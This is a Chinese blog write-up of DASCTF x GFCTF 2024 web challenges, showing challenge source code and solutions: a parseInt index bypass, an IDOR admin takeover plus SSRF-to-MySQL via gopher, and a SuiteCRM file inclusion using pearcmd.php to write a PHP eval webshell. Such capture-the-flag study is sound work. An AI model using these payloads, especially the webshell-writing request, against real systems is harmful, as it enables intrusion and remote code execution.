获取中...

-

Just a minute...

cool_index

server.js:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
import express from "express";
import jwt from "jsonwebtoken";
import cookieParser from "cookie-parser";
import crypto from "crypto";
const FLAG = process.env.DASFLAG || "DASCTF{fake_flag}";
const app = express();
app.use(express.json());
app.use(cookieParser());
app.use(express.static("static"));
app.set("view engine", "ejs");

const JWT_SECRET = crypto.randomBytes(64).toString("hex");

const articles = [
{
line1: "我还是在这里 我还是",
line2: "如约而至地出现了"
},
{
line1: "你们有成为更好的自己吗",
line2: "真的吗 那可太好了"
},
{
line1: "你知道吗 我经常说",
line2: "把更多的时间花在 CTF 上(?)"
},
{
line1: "这是一种信念感",
line2: "就像我出来那给你们"
},
{
line1: "我也希望你们能把更多时间花在热爱的事情上",
line2: "我是一个特别固执的人"
},
{
line1: "我从来不会在意别人跟我说什么",
line2: "让我去做以及怎么做 我不管"
},
{
line1: "如果 你也可以像我一样",
line2: "那我觉得 这件事情"
},
{
line1: "欢迎参加 DASCTF x GFCTF 2024!",
line2: FLAG,
},
];

app.get("/", (req, res) => {
const token = req.cookies.token;
if (token) {
try {
const decoded = jwt.verify(token, JWT_SECRET);
res.render("home", {
username: decoded.username,
subscription: decoded.subscription,
articles: articles,
});
} catch (error) {
res.clearCookie("token");
res.redirect("/register");
}
} else {
res.redirect("/register");
}
});

app.get("/register", (req, res) => {
res.render("register");
});

app.post("/register", (req, res) => {
const { username, voucher } = req.body;
if (typeof username === "string" && (!voucher || typeof voucher === "string")) {
const subscription = (voucher === FLAG + JWT_SECRET ? "premium" : "guest");
if (voucher && subscription === "guest") {
return res.status(400).json({ message: "邀请码无效" });
}
const userToken = jwt.sign({ username, subscription }, JWT_SECRET, {
expiresIn: "1d",
});
res.cookie("token", userToken, { httpOnly: true });
return res.json({ message: "注册成功", subscription });
}

return res.status(400).json({ message: "用户名或邀请码无效" });
});

app.post("/article", (req, res) => {
const token = req.cookies.token;
if (token) {
try {
const decoded = jwt.verify(token, JWT_SECRET);
let index = req.body.index;
if (req.body.index < 0) {
return res.status(400).json({ message: "你知道我要说什么" });
}
if (decoded.subscription !== "premium" && index >= 7) {
return res
.status(403)
.json({ message: "订阅高级会员以解锁" });
}
index = parseInt(index);
if (Number.isNaN(index) || index > articles.length - 1) {
return res.status(400).json({ message: "你知道我要说什么" });
}

return res.json(articles[index]);
} catch (error) {
res.clearCookie("token");
return res.status(403).json({ message: "重新登录罢" });
}
} else {
return res.status(403).json({ message: "未登录" });
}
});

app.listen(3000, () => {
console.log("3000");
});

鉴权太完美了,不能通过获取secret_key来构造会员身份,那就只能想办法绕过检测直接读flag,

漏洞点就是这一句话:

1
index = parseInt(index);

parseInt(string, radix) 解析一个字符串并返回指定基数的十进制整数,radix 是 2-36 之间的整数,表示被解析字符串的基数。

跟php的intval()函数差不多。根据前面两个if,我们的index不能小于,不能大于等于7。那么我们传入比如:

7?这就绕过了前面两个if,然后经过parseInt变成了7,就读到flag了。

image-20240420200147775

EasySignin

注册帐号登录后有两个点,第一个是看图片,进去提示我们不能看,怀疑是鉴权。第二个是更改当前用户密码,随便写点什么,抓包,发现postbody是这样的:

1
username=a&new-password=aaa&confirm-password=aaa

尝试修改username为admin。

image-20240420200718438

提示我们修改成功,看来这里没有任何过滤,拿去登录。

image-20240420200756412

成功登录admin。那利用点只有看图片这里了。这里的参数是url,看见后面第一反应是文件包含,后来发现本地文件无法包含,又怀疑是ssrf。尝试gopher伪协议:

1
gopher://ip:port/_aaa

服务器起监听,这边收到了aaa,说明可以用。尝试用dict伪协议查询开了哪些服务,结果发现被这个被ban了。那只有盲打。测试过打redis、fastcgi、mysql。其实我这里笨了,有注册登录应该第一反应是打mysql的。

ssfr打mysql能打通,利用gopherus工具,构造mysql查询语句直接读文件:

image-20240420201948086

直接打进去不行,flag和flie被过滤了。

image-20240420202052414

那就url二次编码:

image-20240420202156034

把生成的这一段拿去base64解密:

image-20240420202244144

SuiteCRM

卡在修改端口了=-=,我burp改端口掩耳盗铃了属于是。

提示已经放的很明显了。先Username/Password:suitecrm:suitecrm登录进去:

提示给了CVE,发现存在文件包含漏洞。包含点就在index.php,包含结构为:

1
index.php/(被包含文件绝对路径)

我们知道,docker环境下是会默认安装pear的,直接pearcmd文件包含:

1
/index.php//usr/local/lib/php/pearcmd.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=@eval($_POST[123]);?>+/tmp/test.php

但是这样不行,这道题端口转发有问题,要手动改81端口(卡这好久)。

image-20240420202951770

然后重新发包就能写进去文件了:

image-20240420203013119

包含/tmp/test.php即可

image-20240420203107583

web1234

这道题得到许可后再放wp

看看刚做EasySignin的吐槽QWQ:

image-20240420203246375

相关文章
评论
分享
  • 2024鹏城杯web全wp

    python口算-pcb2024123456789101112131415161718192021222324import requestsimport reurl = "http://192.168.18.28"...

    2024鹏城杯web全wp
  • 强网杯2024

    PyBlockly黑名单过滤了所有符号,只能在print里用字母和数字, 1234if check_for_blacklisted_symbols(block['fields']['TEXT']...

    强网杯2024
  • SCTF2024 ezRender

    ezRender这道题主要是成为admin,要成为admin就要伪造cookie,要伪造cookie就要获取jwt密钥。 jwt密钥生成逻辑: 123456789101112131415161718192021import timec...

    SCTF2024 ezRender
  • ByteCTF2024大师赛web部分wp

    ezobj源码: 12345678910111213141516171819<?phpini_set("display_errors", "On");include_once("...

    ByteCTF2024大师赛web部分wp
  • 第四届长城杯web全题解

    WEB SQLUS 猜测账户是admin密码是任意一个字符 登录进去后头像那边,可以上传文件,但是文件名里不能有p,尝试传入.htaccess然后传入一个txt当做php执行。 在头像前端看到了上传路径 flag没有权...

    第四届长城杯web全题解
  • NepCTF2024部分web

    NepDouble代码过长这里不贴了,看到上传压缩包的第一反应是做一个链接到/flag的软连接,上传上去解压就可以看到flag了,但是这里 12if os.path.islink(new_file): return &...

    NepCTF2024部分web
  • 2024第七届巅峰极客部分wp

    GoldenHornKing源码给了是很明显的ssti,在/calc路由里传参calc_req,黑名单是不能有:数字、百分号、非ascii之外的字符。最烦的是这个access,原本是False,可以不用管,但是一旦成功执行一...

    2024第七届巅峰极客部分wp
  • 2024春秋杯部分wp

    brother打开题目是?name=hello,还回显了hello,看一下后台语言和框架 一眼ssti模版注入, 1?name={{g.pop.__globals__.__builtins__.__im...

    2024春秋杯部分wp
  • PolarCTF2024夏季个人挑战赛wp

    扫扫看不用扫,猜测是flag.php flag{094c9cc14068a7d18ccd0dd3606e532f} debudaoflag在cookie里: flag{72077a55w312584wb1aaa88888cd...

    PolarCTF2024夏季个人挑战赛wp
  • PolarCTF2024春季个人挑战赛wp

    机器人打开页面: 一眼robots.txt 123User-agent: *Disallow: /27f5e15b6af3223f1176293cd015771dFlag: flag{4749ea1ea481a5d 只有...

    PolarCTF2024春季个人挑战赛wp